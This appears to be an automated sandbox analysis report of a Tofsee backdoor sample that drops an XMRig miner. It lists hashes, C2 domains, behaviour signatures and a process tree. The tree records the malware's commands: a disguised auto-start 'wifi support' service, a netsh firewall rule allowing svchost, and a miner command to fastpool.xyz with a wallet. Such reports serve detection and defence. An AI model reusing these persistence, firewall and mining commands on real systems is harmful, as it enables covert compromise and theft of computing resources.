Analysis

  • max time kernel
    204s
  • max time network
    211s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-02-2023 20:11

General

  • Target

    file.exe

  • Size

    385KB

  • MD5

    ba2cc72879e8642a04545a795cf2c154

  • SHA1

    f0b9d522c0f6ab5eba74825d89c8c9a01ebc4202

  • SHA256

    f2dc9e5e517f8be39cde8bb164f2d9ed51c814f6584511e996940f4746a874f6

  • SHA512

    4e80c171ab5ed6aa2ba12a20dc9bca8d32768c10c0c1334f79df6b4203c9ebdf8ab85ec914da509d0da1d4f5dea4d7265d0acbd03749be5fe57b999c222c1bc9

  • SSDEEP

    3072:xr8AV4Mha55dPRY9UWprNBSBajLjyVXl9nf6N58IUZK2UU7:dQ3h6qOqasXTnfW53AK

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4796
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ytgbyykp\
      2⤵
        PID:1264
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kjijkuwz.exe" C:\Windows\SysWOW64\ytgbyykp\
        2⤵
          PID:1756
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ytgbyykp binPath= "C:\Windows\SysWOW64\ytgbyykp\kjijkuwz.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1472
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ytgbyykp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3456
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ytgbyykp
          2⤵
          • Launches sc.exe
          PID:1048
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3564
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4796 -s 1176
          2⤵
          • Program crash
          PID:2736
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4796 -ip 4796
        1⤵
          PID:2840
        • C:\Windows\SysWOW64\ytgbyykp\kjijkuwz.exe
          C:\Windows\SysWOW64\ytgbyykp\kjijkuwz.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3392
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:2688
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2812
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3392 -s 544
            2⤵
            • Program crash
            PID:2552
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 3392 -ip 3392
          1⤵
            PID:1888

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\kjijkuwz.exe

            Filesize

            11.4MB

            MD5

            8e9df55b9107329ce20adec867bbda76

            SHA1

            791a6e519880a843dda4487d8f96852bbd1fde35

            SHA256

            e30c104b7359a01fc47687979939f4ae588e8cdfb9d93334362a08668cf2de06

            SHA512

            73e04069a477fca95cd2ccc3cbf5614871f358865dc70589b72d06fdbd10b9bf04cb0a0ff5b1c4f57196f79d24b5cbeb17c925aef8016dd60778820c690dd7c8

          • C:\Windows\SysWOW64\ytgbyykp\kjijkuwz.exe

            Filesize

            11.4MB

            MD5

            8e9df55b9107329ce20adec867bbda76

            SHA1

            791a6e519880a843dda4487d8f96852bbd1fde35

            SHA256

            e30c104b7359a01fc47687979939f4ae588e8cdfb9d93334362a08668cf2de06

            SHA512

            73e04069a477fca95cd2ccc3cbf5614871f358865dc70589b72d06fdbd10b9bf04cb0a0ff5b1c4f57196f79d24b5cbeb17c925aef8016dd60778820c690dd7c8

          • memory/2688-157-0x00000000023F0000-0x00000000023F6000-memory.dmp

            Filesize

            24KB

          • memory/2688-153-0x0000000001080000-0x0000000001095000-memory.dmp

            Filesize

            84KB

          • memory/2688-169-0x00000000029E0000-0x00000000029E7000-memory.dmp

            Filesize

            28KB

          • memory/2688-166-0x0000000007F00000-0x000000000830B000-memory.dmp

            Filesize

            4.0MB

          • memory/2688-163-0x00000000029D0000-0x00000000029D5000-memory.dmp

            Filesize

            20KB

          • memory/2688-147-0x0000000001080000-0x0000000001095000-memory.dmp

            Filesize

            84KB

          • memory/2688-160-0x0000000002980000-0x0000000002990000-memory.dmp

            Filesize

            64KB

          • memory/2688-154-0x0000000003000000-0x000000000320F000-memory.dmp

            Filesize

            2.1MB

          • memory/2688-152-0x0000000001080000-0x0000000001095000-memory.dmp

            Filesize

            84KB

          • memory/2812-178-0x00000000006D0000-0x00000000007C1000-memory.dmp

            Filesize

            964KB

          • memory/2812-173-0x00000000006D0000-0x00000000007C1000-memory.dmp

            Filesize

            964KB

          • memory/3392-151-0x0000000000400000-0x00000000004C7000-memory.dmp

            Filesize

            796KB

          • memory/3392-150-0x00000000005D9000-0x00000000005EE000-memory.dmp

            Filesize

            84KB

          • memory/4796-132-0x000000000063D000-0x0000000000653000-memory.dmp

            Filesize

            88KB

          • memory/4796-145-0x0000000000400000-0x00000000004C7000-memory.dmp

            Filesize

            796KB

          • memory/4796-133-0x0000000002200000-0x0000000002213000-memory.dmp

            Filesize

            76KB

          • memory/4796-142-0x0000000000400000-0x00000000004C7000-memory.dmp

            Filesize

            796KB

          • memory/4796-141-0x000000000063D000-0x0000000000653000-memory.dmp

            Filesize

            88KB

          • memory/4796-134-0x0000000000400000-0x00000000004C7000-memory.dmp

            Filesize

            796KB